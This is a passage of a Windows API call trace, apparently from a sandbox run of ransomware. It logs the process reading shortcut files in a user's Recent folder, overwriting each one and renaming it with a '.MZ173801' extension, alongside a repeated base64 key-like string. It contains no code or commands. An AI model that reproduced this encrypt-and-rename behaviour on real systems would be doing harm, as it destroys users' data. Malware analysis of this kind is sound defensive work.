fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdebb3960, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdebb3960, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdebb3960, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x406)) returned 1 [0121.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.965] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qWEtUErXYGmQCk.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qwetuerxygmqck.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.965] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.965] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.965] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x406 [0121.965] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.965] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x406, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x406, lpOverlapped=0x0) returned 1 [0121.966] CloseHandle (hObject=0x288) returned 1 [0121.967] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qWEtUErXYGmQCk.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qwetuerxygmqck.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.968] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x406, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x406, lpOverlapped=0x0) returned 1 [0121.969] CloseHandle (hObject=0x288) returned 1 [0121.970] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qWEtUErXYGmQCk.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qwetuerxygmqck.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qWEtUErXYGmQCk.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qwetuerxygmqck.lnk.mz173801")) returned 1 [0121.971] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf408660, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf408660, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf408660, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1489, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="r4EiWwT6VDJ2aw279a.lnk", cAlternateFileName="R4EIWW~1.LNK")) returned 1 [0121.971] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.971] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.971] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\r4EiWwT6VDJ2aw279a.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\r4eiwwt6vdj2aw279a.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf408660, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf408660, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf408660, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1489)) returned 1 [0121.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.976] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\r4EiWwT6VDJ2aw279a.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\r4eiwwt6vdj2aw279a.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.976] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.976] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.976] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x1489 [0121.977] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.977] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x1489, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x1489, lpOverlapped=0x0) returned 1 [0121.978] CloseHandle (hObject=0x288) returned 1 [0121.978] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\r4EiWwT6VDJ2aw279a.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\r4eiwwt6vdj2aw279a.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.979] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x1489, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x1489, lpOverlapped=0x0) returned 1 [0121.980] CloseHandle (hObject=0x288) returned 1 [0121.982] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\r4EiWwT6VDJ2aw279a.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\r4eiwwt6vdj2aw279a.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\r4EiWwT6VDJ2aw279a.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\r4eiwwt6vdj2aw279a.lnk.mz173801")) returned 1 [0121.983] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf513000, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf513000, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf513000, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x19db, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="RheIPXfIwRK.lnk", cAlternateFileName="RHEIPX~1.LNK")) returned 1 [0121.983] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, 